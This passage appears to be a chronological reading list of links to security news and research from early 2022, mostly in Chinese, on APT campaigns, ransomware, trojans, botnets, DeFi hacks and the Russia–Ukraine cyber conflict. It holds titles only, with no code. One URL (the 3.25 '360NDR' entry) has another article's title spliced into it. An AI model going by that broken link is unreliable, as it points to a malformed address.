APT组织针对某医疗卫生机构相关人员与巴基斯坦国防官员攻击活动分析](https://www.freebuf.com/news/319299.html) - 1.13 [Fake dnSpy - 当黑客也不讲伍德](https://www.anquanke.com/post/id/265809) - 1.13 [黑客组织 Patchwork 感染自己开发的恶意程序 导致内部系统被曝光](https://hackernews.cc/archives/37298) - 1.14 [‘Be Afraid:’ Massive Cyberattack Downs Ukrainian Gov’t Sites](https://threatpost.com/be-afraid-massive-cyberattack-downs-ukrainian-govt-sites/177659/) - 1.16 [乌克兰警方成功逮捕袭击 50 多家公司的勒索软件团伙](https://www.freebuf.com/news/319784.html) - 1.18 [病毒界的“影帝”!揭秘假装勒索的covid-666病毒!](https://www.secpulse.com/archives/172731.html) - 1.19 [APT组织档案馆|2021年度APT组织活动态势分析](https://www.freebuf.com/news/320201.html) - 1.19 [漏洞攻击、暴力破解、Bot流量... 威胁情报如何解决云上安全难题?(公有云网络安全威胁情报202112)](https://blog.netlab.360.com/public-cloud-threat-intelligence-202112/) - 1.19 [【Rootkit 系列研究】序章:悬顶的达摩克利斯之剑](https://www.secpulse.com/archives/172774.html) - 1.19 [Linux环境中的三大恶意软件](https://www.freebuf.com/articles/system/319983.html) - 1.19 [针对乌克兰组织的破坏性恶意软件](http://paper.seebug.org/1815/) - 1.20 [Cynerio 报告:医院中一半的联网设备容易受到黑客攻击](https://hackernews.cc/archives/37363) - 1.20 [群狼环伺-2021年度中国周边APT组织活动年鉴](https://www.anquanke.com/post/id/266382) - 1.20 [苹果无线生态系统安全性指南](https://www.anquanke.com/post/id/239355) - 1.21 [Doctor Web’s overview of virus activity on mobile devices in 2021](https://news.drweb.com/show/?i=14395&lng=en) - 1.21 [2021年针对性勒索攻击活动年度报告](https://www.freebuf.com/articles/paper/320529.html) - 1.23 [攻击者开始使用 XLL 文件进行攻击](https://www.freebuf.com/articles/network/320442.html) - 1.24 [《2021年全国移动应用安全观测报告》](https://www.freebuf.com/articles/network/320742.html) - 1.24 [ASRC 2021年电子邮件安全趋势回顾](https://www.freebuf.com/articles/320547.html) - 1.25 [数千工业组织的企业电子邮件账户失窃,被滥用进行下一次攻击](https://www.freebuf.com/articles/ics-articles/320764.html) - 1.25 [基于机器学习的反欺诈研究](http://blog.nsfocus.net/knn-svm/) - 1.25 [Android Malware BRATA Is More Dangerous than Ever](https://heimdalsecurity.com/blog/android-malware-brata-is-more-dangerous-than-ever/) - 1.26 [2022 Security Report: Software Vendors saw 146% Increase in Cyber Attacks in 2021, marking Largest Year-on-Year Growth](https://research.checkpoint.com/2022/2022-security-report-software-vendors-saw-146-increase-in-cyber-attacks-in-2021-marking-largest-year-on-year-growth/) - 1.26 [How to Detect Software Vulnerabilities in Source Code Using Machine Learning](https://www.inovex.de/de/blog/how-to-detect-software-vulnerabilities-in-source-code-using-machine-learning/) - 1.27 [内网代理工具与检测方法研究](https://www.freebuf.com/sectool/320781.html) - 1.27 [基于钓鱼攻击的技术点研究](https://www.freebuf.com/articles/network/320964.html) - 1.27 [基于流量的攻击溯源分析](https://www.freebuf.com/articles/web/320721.html) - 1.27 [黑客利用开源代码平台Gitblit漏洞泄露多家单位源码](http://blog.nsfocus.net/gitblit-snoarqube/) - 1.28 [如何使用Yakit进行流量劫持](https://www.freebuf.com/sectool/318461.html) - 1.28 [【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://www.freebuf.com/articles/web/320666.html) - 0x01 - 2.7 [SIM Hijacking](https://sensepost.com/blog/2022/sim-hijacking/) - 2.7 [TA575组织对我国某机构投递Dridex银行木马的钓鱼活动分析](https://www.secpulse.com/archives/173019.html) - 2.7 [冒充银行钓鱼的Remcos RAT Dropper分析](https://www.freebuf.com/articles/network/321114.html) - 2.7 [电动汽车充电站管理系统安全深度分析](https://www.anquanke.com/post/id/267126) - 2.8 [SoK: 浏览器安全分析](http://paper.seebug.org/1818/) - 2.8 [编译与反编译原理实战之dad反编译器浅析](https://www.anquanke.com/post/id/266930) - 2.9 [巴勒斯坦黑客在近期攻击中植入新的 NimbleMamba](https://hackernews.cc/archives/37449) - 2.9 [漫游螳螂恶意软件危及欧洲](http://paper.seebug.org/1827/) - 2.10 [Attackers Increasingly Adopting Regsvr32 Utility Execution Via Office Documents](https://securityaffairs.co/wordpress/127871/hacking/attackers-adopting-regsvr32-office-documents.html) - 2.10 [360发布《2021年度中国手机安全状况报告》](https://www.anquanke.com/post/id/267718) - 2.10 [PrivateLoader: 众多恶意软件方案的第一步](http://paper.seebug.org/1829/) - 2.10 [伪造IP地址的四种常见方法](https://www.secpulse.com/archives/173209.html) - 2.10 [慢雾:美国执法部门破获 2016 年 Bitfinex 被黑案件细节分析](https://www.freebuf.com/articles/blockchain-articles/321538.html) - 2.11 [《2021网络空间测绘年报》解读|物联网资产与风险篇](http://blog.nsfocus.net/2021-mirai/) - 2.11 [Kimsuky 正在使用 xRAT 进行窃密](https://www.freebuf.com/articles/network/321702.html) - 2.11 [ModifiedElephant攻击印度人权活动家](https://www.anquanke.com/post/id/267772) - 2.11 [无回显条件下的命令执行判断和利用方式研究](https://www.freebuf.com/articles/network/321428.html) - 2.12 [Arid Viper APT 组织针对巴勒斯坦发起攻击](https://www.freebuf.com/articles/network/321700.html) - 2.13 [Fake dnSpy - 这鸡汤里下了毒!](https://www.freebuf.com/articles/web/321726.html) - 2.14 [伊朗黑客攻击活动曝新Marlin后门](https://www.anquanke.com/post/id/267790) - 2.14 [ModifiedElephant:十年潜伏,印度黑客组织浮出水面](http://paper.seebug.org/1830/) - 2.15 [攻击技术研判|在野Web注入及证书透明度检测规避手法分析](http://blog.nsfocus.net/web-trickbot/) - 2.15 [RedLine Stealer 伪装成 Windows 11 更新程序,窃取用户信息](http://paper.seebug.org/1831/) - 2.15 [2021年典型挖矿木马盘点](https://www.secpulse.com/archives/173424.html) - 2.15 [基于智能手机的近源渗透案例分享 —— 极深研几](https://www.anquanke.com/post/id/267335) - 2.15 [现代前后端分离式应用API渗透测试探究](https://www.freebuf.com/articles/web/321761.html) - 2.15 [利用卷积神经网络与向量搜索引擎在web资产中推荐相似icon](https://www.freebuf.com/articles/network/321723.html) - 2.16 [APT组织Lorec53(洛瑞熊)近期针对乌克兰的大规模网络攻击活动](http://blog.nsfocus.net/apt-lorec53-20220216/) - 2.16 [Trickbot targets customers of 60 High-Profile companies](https://securityaffairs.co/wordpress/128087/malware/trickbot-targets-60-high-profile-companies.html) - 2.16 [电信诈骗黑灰产业链现状(一):信息泄露成精准定向诈骗的主要帮凶](https://www.anquanke.com/post/id/267994) - 2.16 [SocialHEISTing:针对Facebook被盗账户的统计数据研究](https://www.anquanke.com/post/id/267339) - 2.16 [BotenaGo 僵尸网络源码泄露,攻击者武器库又增加](https://www.freebuf.com/articles/network/321849.html) - 2.16 [FritzFrog 疯狂扩张,近四成受害者在中国](https://www.freebuf.com/articles/network/321848.html) - 2.17 [去年恶意勒索资金中有 74% 流向了俄罗斯有关黑客手中](https://hackernews.cc/archives/37520) - 2.17 [电信诈骗黑灰产业链现状(二):境外号码替代境内号码,成诈骗电话、诈骗短信传播主力](https://www.anquanke.com/post/id/268091) - 2.17 [Titano Finance攻击事件分析](https://www.anquanke.com/post/id/268024) - 2.17 [2021年典型挖矿木马盘点](https://www.freebuf.com/articles/paper/321911.html) - 2.18 [Google Privacy Sandbox promises to protect user privacy online](https://securityaffairs.co/wordpress/128167/mobile-2/google-privacy-sandbox.html) - 2.18 [印度国家级APT组织“响尾蛇”发起春季攻势](http://blog.nsfocus.net/apt-sidewinder-20220218/) - 2.18 [《2021DDoS攻击态势报告》解读 基于威胁情报的DDoS攻击防护](http://blog.nsfocus.net/2021-ddos-2/) - 2.18 [针对Office宏病毒的高级检测](https://www.anquanke.com/post/id/267298) - 2.18 [Yak基础插件案例——CDN检测](https://www.freebuf.com/sectool/322038.html) - 2.18 [你的跳蛋,黑客们表示很感兴趣](https://www.freebuf.com/news/322359.html) - 2.19 [一种基于Golang的僵尸网络正在成为新的威胁](https://www.freebuf.com/news/322467.html) - 2.21 [僵尸网络 Kraken 轻松骗过 Windows Defender 并窃取加密货币钱包数据](https://hackernews.cc/archives/37552) - 2.21 [针对Cookie同意和 GDPR 违规的自动化检测工具](https://www.anquanke.com/post/id/267338) - 2.21 [黑客组织 TA2541 解析](http://paper.seebug.org/1833/) - 2.22 [快速清洁 APP 要慎用,银行木马可能藏身其中](https://hackernews.cc/archives/37566) - 2.22 [炊具巨头Meyer披露了影响员工的网络攻击](https://www.freebuf.com/articles/322759.html) - 2.23 [2021年91%的英国组织遭到邮件钓鱼攻击](https://www.freebuf.com/news/322947.html) - 2.23 [紧跟潮流,攻击者通过NFT分发木马BitRAT](https://www.freebuf.com/articles/network/322711.html) - 2.23 [安卓用户注意了!黑客利用“一次性”账户开展诈骗](https://www.freebuf.com/news/322798.html) - 2.23 [Lazarus 组织开始使用 lolbin 技术](https://www.freebuf.com/articles/network/322522.html) - 2.23 [电信诈骗黑灰产业链现状(三):免签、代收、代付技术成诈骗主流洗钱方式](https://www.anquanke.com/post/id/268427) - 2.23 [乌克兰遭受大规模网络攻击:政府银行中招](http://blog.nsfocus.net/cldap-ntp/) - 2.24 [曝光!黑灰产掘金帝国的“地基”,窥探暗象丛生的网络世界](https://www.anquanke.com/post/id/268510) - 2.24 [New Malware Capable of Controlling Social Media Accounts Infects 5,000+ Machines and is actively being Distributed via Gaming Applications on Microsoft’s Official Store](https://research.checkpoint.com/2022/new-malware-capable-of-controlling-social-media-accounts-infects-5000-machines-and-is-actively-being-distributed-via-gaming-applications-on-microsofts-official-store/) - 2.24 [Coffee勒索软件持续活跃,安天发布解密工具](https://www.secpulse.com/archives/173849.html) - 2.25 [跨越多代:三星修复影响上亿 Android 设备的硬件密钥安全漏洞](https://hackernews.cc/archives/37588) - 2.25 [Some details of the DDoS attacks targeting Ukraine and Russia in recent days](https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/) - 2.25 [我们近期看到的针对乌克兰和俄罗斯的DDoS攻击细节](https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/) - 2.25 [微软应用商店现“克隆”游戏,内含恶意程序Electron Bot](https://www.freebuf.com/news/323267.html) - 2.25 [乌克兰政府和金融机构遭疑似俄黑客袭击](https://www.freebuf.com/news/323210.html) - 2.26 [Fileless SockDetour backdoor targets U.S.-based defense contractors](https://securityaffairs.co/wordpress/128446/apt/sockdetour-backdoor-targets-us-defense.html) - 2.27 [如何使用PHP Malware Finder检测主机中潜在的恶意PHP文件](https://www.freebuf.com/articles/web/323228.html) - 2.28 [独家深度剖析:直击乌克兰网络战关键技术细节](https://www.anquanke.com/post/id/268678) - 2.28 [俄乌战争中的俄罗斯APT网络攻击部队行为分析](https://www.anquanke.com/post/id/268680) - 2.28 [Conti勒索软件团伙“内讧” 分享诸多内部聊天记录](https://hackernews.cc/archives/37616) - 0x02 - 3.1 [一起来逆向分析吃鸡外挂](https://www.secpulse.com/archives/174081.html) - 3.1 [Invoke-EDRChecker:一款功能强大的主机安全产品检测工具](https://www.freebuf.com/articles/system/323325.html) - 3.1 [solidity智能合约基础漏洞——重入漏洞](https://www.anquanke.com/post/id/268632) - 3.1 [好奇害死“猫”,一根电线窥探隐私的警示](http://blog.nsfocus.net/cat-curious/) - 3.1 [China-linked APT used Daxin, one of the most sophisticated backdoor even seen](https://securityaffairs.co/wordpress/128545/uncategorized/daxin-backdoor.html) - 3.2 [APT36 (Earth Karkaddan) 駭客集團的攻擊手法與惡意程式分析](https://blog.trendmicro.com.tw/?p=71210) - 3.2 [TeaBot Android Banking Malware Spreads Again Through Google Play Store Apps](https://thehackernews.com/2022/03/teabot-android-banking-malware-spreads.html) - 3.2 [移动GS3101光猫分析 —— 狸猫换太子](https://www.anquanke.com/post/id/267397) - 3.3 [博彩平台支付通道新趋势,虚拟货币成“新宠”](https://www.anquanke.com/post/id/269048) - 3.3 [IOT Fuzzing框架AFL++ (上)](https://www.secpulse.com/archives/174257.html) - 3.3 [什么是SDK,它是怎样威胁我们的隐私?](https://www.freebuf.com/articles/web/323634.html) - 3.3 [快速定位挖矿木马!](https://www.freebuf.com/articles/database/323667.html) - 3.3 [网络战发展成“第五战场”,这些数据告诉你乌克兰的网络现状](https://www.freebuf.com/articles/network/323524.html) - 3.4 [New Wiper Malware Used Against Ukranian Organizations](https://securityintelligence.com/?post_type=ibm_internals&p=435205) - 3.4 [APP渗透—Android 7.0 抓包](https://www.anquanke.com/post/id/268989) - 3.4 [APT29 以疫情为话题攻击大使馆相关人员](https://www.freebuf.com/articles/network/323691.html) - 3.5 [模块化银行木马IcedID 新变种浮出水面](https://www.freebuf.com/articles/network/323690.html) - 3.5 [MITRE对手交战框架V1及一系列落地指导文件发布](https://www.freebuf.com/articles/network/323701.html) - 3.6 [俄乌冲突:非国家行为体乌“IT志愿军”解码](http://blog.nsfocus.net/it-ddos-31/) - 3.7 [美国国安局NSA(APT-C-40)再掀网络战:幕后“黑手”直击关键基础设施](https://www.anquanke.com/post/id/269233) - 3.7 [SharkBot Banking Malware Spreading via Fake Android Antivirus App on Google Play Store](https://thehackernews.com/2022/03/sharkbot-banking-malware-spreading-via.html) - 3.7 [Nekonebot僵尸网络变种披露](http://blog.nsfocus.net/nekonebot-201908/) - 3.7 [“俄乌网络战最新态势第二弹–运营商服务中断,供应链攻击持续强势”](http://blog.nsfocus.net/runet-11/) - 3.7 [闪电贷攻击:Sashimi Swap被黑事件分析](https://www.freebuf.com/articles/blockchain-articles/323849.html) - 3.7 [虚假乌克兰代币空投欺诈事件分析](https://www.freebuf.com/articles/blockchain-articles/323929.html) - 3.7 [75%的医用输液泵受到已知漏洞影响](https://www.freebuf.com/news/324000.html) - 3.8 [TreasureDAO攻击事件分析](https://www.anquanke.com/post/id/269124) - 3.8 [揭秘APT36组织的CapraRat恶意软件](https://www.freebuf.com/articles/paper/324065.html) - 3.8 [安卓银行木马 Xenomorph 瞄准欧洲,装机量已超5万](https://www.freebuf.com/articles/network/323980.html) - 3.9 [付费账单是假,Agent Tesla 攻击是真](https://paper.seebug.org/1841/) - 3.9 [中东持续活跃的威胁 :月光鼠组织借助云服务展开间谍攻击](https://www.freebuf.com/news/324066.html) - 3.9 [新一代银行木马SharkBot正通过Play Store传播](https://www.freebuf.com/news/324174.html) - 3.9 [APT41 Spies Broke Into 6 US State Networks via a Livestock App](https://threatpost.com/apt41-spies-broke-into-6-us-state-networks-via-livestock-app/178838/) - 3.9 [Russian government sites hacked in supply chain attack](https://www.databreaches.net/russian-government-sites-hacked-in-supply-chain-attack/) - 3.10 [黑客滥用 Mitel 设备将 DDoS 攻击放大40亿倍](https://hackernews.cc/archives/37707) - 3.10 [Leaks of Conti Ransomware Group Paint Picture of a Surprisingly Normal Tech Start-Up… Sort Of](https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/) - 3.10 [黑灰产如何薅色情APP羊毛?揭秘助力黑灰产伪造新设备的“它”](https://www.anquanke.com/post/id/269861) - 3.10 [工业控制系统遭受网络攻击数量略有增加](https://www.freebuf.com/articles/others-articles/324286.html) - 3.10 [【完整版PDF下载】Conti泄露数据完整分析,疑似成员身份被曝光!](https://www.freebuf.com/news/324338.html) - 3.10 [CVE-2022-0847 漏洞分析](https://www.anquanke.com/post/id/269886) - 3.10 [APC UPS 零日漏洞可远程烧毁设备、断电](https://www.freebuf.com/articles/324238.html) - 3.11 [微博企业安全建设浅谈](https://www.secpulse.com/archives/174726.html) - 3.11 [观仔讲堂 | APT钓鱼邮件分析](https://www.freebuf.com/articles/network/324500.html) - 3.11 [浅谈一下,Linux中基于eBPF的恶意利用与检测机制](https://www.secpulse.com/archives/174644.html) - 3.11 [黑客使用受污染的DDoS工具瞄准乌克兰的IT军队](https://www.freebuf.com/news/324477.html) - 3.11 [Linux 内核提权 DirtyPipe(CVE-2022-0847) 漏洞分析](http://paper.seebug.org/1843/) - 3.11 [俄乌网络对抗时间线及对抗过程研究](http://blog.nsfocus.net/atp-whisperga-mbr/) - 3.12 [Attackers use website contact forms to spread BazarLoader malware](https://securityaffairs.co/wordpress/128942/cyber-crime/phishing-bazarloader-campaign.html) - 3.13 [僵尸网络Emotet卷土重来,已感染179个国家的13万台设备](https://www.freebuf.com/news/324520.html) - 3.13 [The hidden C2: Lampion trojan release 212 is on the rise and using a C2 server for two years](https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html) - 3.14 [NFC竟也存在高危漏洞,看他如何分析](https://www.anquanke.com/post/id/269885) - 3.14 [当心,安卓银行木马Escobar 正伺机而动](https://www.freebuf.com/news/324709.html) - 3.14 [Brazilian trojan impacting Portuguese users and using the same capabilities seen in other Latin American threats](https://securityaffairs.co/wordpress/129024/malware/brazilian-trojan-tragets-portuguese-users.html) - 3.14 [洋葱式信息安全观察:网络威胁动机初探](https://www.sec-un.org/%e6%b4%8b%e8%91%b1%e5%bc%8f%e4%bf%a1%e6%81%af%e5%ae%89%e5%85%a8%e8%a7%82%e5%af%9f%ef%bc%9a%e7%bd%91%e7%bb%9c%e5%a8%81%e8%83%81%e5%8a%a8%e6%9c%ba%e5%88%9d%e6%8e%a2/) - 3.15 [v8 漏洞在 windows 微信下利用的研究](http://paper.seebug.org/1848/) - 3.15 [国家计算机病毒应急处理中心披露NSA网络间谍武器](https://www.anquanke.com/post/id/270087) - 3.15 [浅谈一下,Linux中基于eBPF的恶意利用与检测机制](https://www.anquanke.com/post/id/269887) - 3.15 [PHP环境绕过360执行马儿上线](https://www.secpulse.com/archives/174933.html) - 3.15 [New Threat: B1txor20, A Linux Backdoor Using DNS Tunnel](https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_en/) - 3.15 [游戏黑灰产识别和溯源取证](https://www.secpulse.com/archives/174988.html) - 3.15 [俄乌“网络战”对我国的影响趋势分析](http://blog.nsfocus.net/apt-3-9/) - 3.16 [Linux挖矿木马NtpClient事件分析](https://www.anquanke.com/post/id/269304) - 3.16 [从“NOPEN”远控木马浮出水面看美方网络攻击装备体系](https://www.secpulse.com/archives/175056.html) - 3.16 [研究人员发现针对乌克兰的第 3 款擦除恶意软件](https://hackernews.cc/archives/37778) - 3.17 [俄乌网络战时间线全回顾及对抗特点研究梳理](https://www.freebuf.com/articles/neopoints/324800.html) - 3.17 [【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://www.freebuf.com/articles/web/324950.html) - 3.17 [dompdf中未修补的RCE漏洞会影响HTML到PDF转换器](https://www.freebuf.com/articles/325277.html) - 3.17 [Paraluni攻击事件分析](https://www.anquanke.com/post/id/270172) - 3.17 [挖矿木马VsphereMiner盯上VMware虚拟机](https://www.anquanke.com/post/id/269434) - 3.17 [2021年度热门挖矿木马——JavaXminer](https://www.anquanke.com/post/id/269447) - 3.18 [Caketap, a new Unix rootkit used to siphon ATM banking data](https://securityaffairs.co/wordpress/129194/cyber-crime/caketap-unix-rootkit.html) - 3.18 [DarkHotel APT Targets Wynn, Macao Hotels to Rip Off Guest Data](https://threatpost.com/darkhotel-apt-wynn-macao-hotels/178989/) - 3.18 [黑客演示入侵电影制片人 Mac 计算机 证明 macOS 无法主动抵御网络威胁](https://hackernews.cc/archives/37835) - 3.18 [你想不到的伪装手法!原来网络赌博的入口可能就隐藏在身边](https://www.anquanke.com/post/id/270362) - 3.18 [PyShell:一款功能强大的跨平台Python WebShell](https://www.freebuf.com/articles/system/324959.html) - 3.18 [日志伪造漏洞](https://www.secpulse.com/archives/175157.html) - 3.18 [华硕警告针对路由器的 Cyclops Blink 恶意软件攻击](https://www.freebuf.com/news/325324.html) - 3.18 [虚假钓鱼订单瞄准乌克兰公司,传播 Agent Tesla](https://www.freebuf.com/articles/network/325001.html) - 3.19 [数字金融反欺诈技术应用分析报告(2021年)](https://www.freebuf.com/articles/paper/325372.html) - 3.21 [浅谈路由器漏洞挖掘](https://www.secpulse.com/archives/175346.html) - 3.21 [故技重施 —— Hundred Finance 被黑分析](https://www.freebuf.com/vuls/325197.html) - 3.21 [网络攻击反射技术在蠕虫病毒特征捕获场景中的应用](https://www.freebuf.com/articles/network/325507.html) - 3.21 [基于 tp240dvr 服务的新型反射攻击深度分析](http://paper.seebug.org/1851/) - 3.22 [毒蛇,禁止滑动 ! 新的后门攻击法国实体](https://paper.seebug.org/1852/) - 3.22 [“1337”挖矿组织活动分析](https://www.secpulse.com/archives/175440.html) - 3.22 [俄乌热战背景下的Node-ipc供应链投毒攻击](http://blog.nsfocus.net/node-ipc-npm/) - 3.23 [Android 短信和电话应用都会悄悄向 Google 发送数据](https://www.solidot.org/story?sid=71036) - 3.23 [俄乌冲突,暗网中暴露的真实对抗](https://www.anquanke.com/post/id/270517) - 3.23 [商业数字证书签发和使用使用情况分析](https://blog.netlab.360.com/shu-zi-zheng-shu-zuo-wei-ji-chu-she-shi-de-shi-yong-qing-kuang-fen-xi/) - 3.24 [ATW组织高调攻击!由境外黑客组织攻击引发的开源软件安全思考](https://www.secpulse.com/archives/175622.html) - 3.24 [仿冒国家税务总局个人所得税APP分析报告](https://www.anquanke.com/post/id/270637) - 3.24 [Study of an APT attack on a telecommunications company in Kazakhstan](https://news.drweb.com/show/?i=14451&lng=en) - 3.24 [揭秘!女主播和男运营的那些“公关”套路](https://www.anquanke.com/post/id/270635) - 3.24 [Quantum(量子)攻击系统 – 美国国家安全局“APT-C-40”黑客组织高端网络攻击武器技术分析报告(一)](https://www.anquanke.com/post/id/270813) - 3.24 [全球超过20万台MicroTik路由器受到僵尸网络恶意软件的控制](https://www.freebuf.com/news/326104.html) - 3.25 [精心伪造的微软客户支持和帮助文档实际上是窃取信息的 Vidar 恶意软件](https://hackernews.cc/archives/37963) - 3.25 [以色列阻止乌克兰购买 NSO 集团的“飞马”间谍软件](https://hackernews.cc/archives/37959) - 3.25 [Chinese threat actor Scarab targets Ukraine, CERT-UA warns](https://securityaffairs.co/wordpress/129477/apt/chinese-threat-actor-scarab-targets-ukraine-cert-ua-warns.html) - 3.25 [360NDR率先支持对量子攻击威胁的检测分析](https://www.anquanke.com/post/id匿名者伙同乌克兰 IT 军团,继续攻击俄罗斯实体271056) - 3.25 [紧急提醒!冒充京东客服的注销“校园贷”诈骗已升级!](https://www.anquanke.com/post/id/271011) - 3.25 [NFC竟也存在高危漏洞?看他如何分析(CVE-2021-0870)](https://www.freebuf.com/articles/network/324728.html) - 3.25 [Clipper 恶意软件伪装成 AvD 加密盗窃器](https://paper.seebug.org/1860/) - 3.25 [Hundred Finance攻击事件分析](https://www.anquanke.com/post/id/270609) - 3.26 [Java RMI漏洞利用技术浅析](https://www.freebuf.com/vuls/324584.html) - 3.28 [Arkei 变种:从 Vidar 到 Mars Stealer](https://paper.seebug.org/1863/) - 3.28 [基于 OpenAFS 文件系统的反射攻击深度分析](https://paper.seebug.org/1861/) - 3.28 [Serpent后门攻击瞄准法国建筑公司和政府部门](https://www.freebuf.com/articles/network/326112.html) - 3.28 [网络空间视角下的哈萨克斯坦动乱](https://paper.seebug.org/1862/) - 3.28 [面对境外网络攻击,终端如何有效防御?](https://www.anquanke.com/post/id/271141) - 3.28 [Ransomware Attacks Soar by 100% in 2021](https://www.infosecurity-magazine.com/news/ransomware-attacks-soar-100-2021/) - 3.29 [基于机器学习的自动化网络流量分析](http://blog.nsfocus.net/nprint-ml/) - 3.29 [因遭网络攻击,乌克兰电信网络服务暂时中断](https://www.freebuf.com/news/326590.html) - 3.29 [研究发现,早期“三重勒索”软件SunCrypt至今仍然活跃](https://www.freebuf.com/news/326530.html) - 3.29 [Hive勒索软件将其Linux VMware ESXi加密器移植到Rust](https://www.anquanke.com/post/id/271112) - 3.30 [360揭露美国NSA(APT-C-40)代表性网络武器:超常规网络“军火”无所不用其极](https://www.anquanke.com/post/id/271150) - 3.30 [以轻松赚钱为由,黑客每天发送近 4000 封虚假工作邀请邮件](https://www.freebuf.com/articles/326662.html) - 3.30 [黑客正在利用伪造的执法机构传票窃取苹果、Google 等公司的用户数据](https://hackernews.cc/archives/38011) - 3.30 [Lapsus$组织休眠结束,国际IT服务商Globant商业信息被泄露](http://blog.nsfocus.net/lapsus-it-globant/) - 3.31 [俄罗斯“双熊”之“舒适熊”—— Cozy Bear APT组织供应链攻击活动分析](http://blog.nsfocus.net/cozy-bear-apt/) - 3.31 [【Rootkit系列研究】Windows平台高隐匿、高持久化威胁(二)](https://paper.seebug.org/1872/) - 3.31 [【Rootkit 系列研究】Rootkit 检测技术发展现状](https://paper.seebug.org/1871/) - 3.31 [【Rootkit 系列研究】Linux 平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/) - 3.31 [浏览网页就能泄露手机号的小秘密](https://www.secpulse.com/archives/176001.html) - 3.31 [针对企业用户的恶意 Word 文件](https://paper.seebug.org/1869/) - 3.31 [Flurry Finance 攻击事件分析](https://www.anquanke.com/post/id/271195) - 3.31 [疑似 DarkHotel 攻击澳门豪华酒店](https://www.freebuf.com/articles/network/326588.html) - 3.31 [“透明部落”APT组织正在大肆攻击印度官员](https://www.freebuf.com/news/326722.html) - 0x03 - 4.1 [SentinelLabs:俄罗斯利用 AcidRain 擦除恶意软件攻击了 ViaSat](https://hackernews.cc/archives/38074) - 4.1 [XNU虚拟内存安全往事](https://www.inforsec.org/wp/?p=5159) - 4.1 [2021年十大漏洞利用](https://www.inforsec.org/wp/?p=5155) - 4.1 [差分隐私技术在用户隐私保障中的应用](https://www.anquanke.com/post/id/271320) - 4.2 [俄乌危机中的数字证书:吊销、影响、缓解](https://blog.netlab.360.com/review-revoke-russia-ssl-certificates/) - 4.2 [CVE-2017-16995 Ubuntu本地提权测试(任意地址读写利用)](https://www.freebuf.com/vuls/168980.html) - 4.2 [从kill-chain的角度检测APT攻击](https://www.secpulse.com/archives/176224.html) - 4.2 [Spring4Shell在野漏洞传播分析](https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory/) - 4.4 [Experts spotted a new Android malware while investigating by Russia-linked Turla APT](https://securityaffairs.co/wordpress/129820/malware/android-malware-turla-apt.html) - 4.5 [Check Point + Armis Team Up to Protect Critical Vulnerabilities (TLStorm) Found in APC Smart-UPS Devices](https://blog.checkpoint.com/2022/04/05/check-point-armis-team-up-to-protect-critical-vulnerabilities-tlstorm-found-in-apc-smart-ups-devices/) - 4.6 [从静到动聊杀软对抗](https://www.secpulse.com/archives/176362.html) - 4.6 [Chrome Mojo 组件的沙箱逃逸漏洞分析](https://paper.seebug.org/1876/) - 4.6 [Ronin Network侧链被盗6.25亿美金流向分析](https://www.anquanke.com/post/id/271413) - 4.6 [Russia-linked Armageddon APT targets Ukrainian state organizations, CERT-UA warns](https://securityaffairs.co/wordpress/129859/apt/armageddon-apt-targets-ukrainian-state-orgs.html) - 4.7 [Google is on guard: sharks shall not pass!](https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/) - 4.7 [从 dotnet 源码看文件上传绕 waf](https://paper.seebug.org/1879/) - 4.7 [CVE-2022-22947 SpringCloud GateWay SPEL RCE Echo Response](https://paper.seebug.org/1878/) - 4.7 [Cash App数据泄露恐将影响820万美国用户](https://www.freebuf.com/articles/327794.html) - 4.7 [拨开俄乌网络战迷雾-域名证书测绘篇](http://blog.nsfocus.net/icann-ca/) - 4.8 [FBI 向托管 Cyclops Blink 恶意软件的僵尸网络服务器发起了行动](https://hackernews.cc/archives/38136) - 4.8 [BruteXSS:XSS暴力破解神器](https://www.freebuf.com/sectool/109239.html) - 4.8 [无人机MAVLINK协议安全剖析](https://www.secpulse.com/archives/176658.html) - 4.8 [Phobos捆绑某数控软件AdobeIPCBroker组件定向勒索](https://www.freebuf.com/articles/endpoint/327407.html) - 4.8 [Docker 容器逃逸检测工具](https://www.freebuf.com/sectool/327356.html) - 4.8 [首个针对AWS Lambda无服务器平台的恶意软件出现了 ](https://www.freebuf.com/news/327993.html) - 4.8 [谷歌通过新的开发策略以提高Android安全性](https://www.freebuf.com/news/327954.html) - 4.8 [新的FFDroider木马 ​专注于窃取社交媒体帐户](https://www.anquanke.com/post/id/271543) - 4.9 [俄语黑客论坛出现新型窃密木马BlackGuard,售价每月200美元](https://www.freebuf.com/articles/network/327521.html) - 4.9 [俄乌冲突中蠢蠢欲动的多个APT组织](https://www.freebuf.com/articles/network/327491.html) - 4.10 [黑客组织AnonymousFox 在新攻击中使用定时任务](https://www.freebuf.com/articles/network/327494.html) - 4.11 [分析国外几款主流蜜罐产品看欺骗诱捕技术的应用脉络](https://www.anquanke.com/post/id/271553) - 4.11 [常见6种WAF绕过和防护原理](https://www.secpulse.com/archives/176763.html) - 4.11 [零时科技 | APE 攻击事件分析](https://www.freebuf.com/news/328093.html) - 4.11 [全球高级持续性威胁(APT)2021年度报告](https://www.freebuf.com/articles/paper/327943.html) - 4.11 [多重监管之下,谁还在“挖矿”?](https://www.freebuf.com/news/327940.html) - 4.11 [匿名者伙同乌克兰 IT 军团,继续攻击俄罗斯实体](https://www.freebuf.com/news/328321.html) - 4.11 [黑客利用Spring4Shell漏洞部署Mirai恶意软件](https://www.freebuf.com/news/328316.html) - 4.11 [新发现的恶意软件 以具有加密矿工的AWS Lambda 为目标](https://www.anquanke.com/post/id/271597) - 4.11 [黑客利用 Conti 泄露的勒索软件攻击俄罗斯公司](https://hackernews.cc/archives/38162) - 4.11 [The Fakecalls banking Trojan makes fake calls | Kaspersky official blog](https://www.kaspersky.com/blog/fakecalls-banking-trojan/44072/) - 4.12 [恶意软件Mirai正积极利用Spring4Shell漏洞](https://www.freebuf.com/news/328447.html) - 4.12 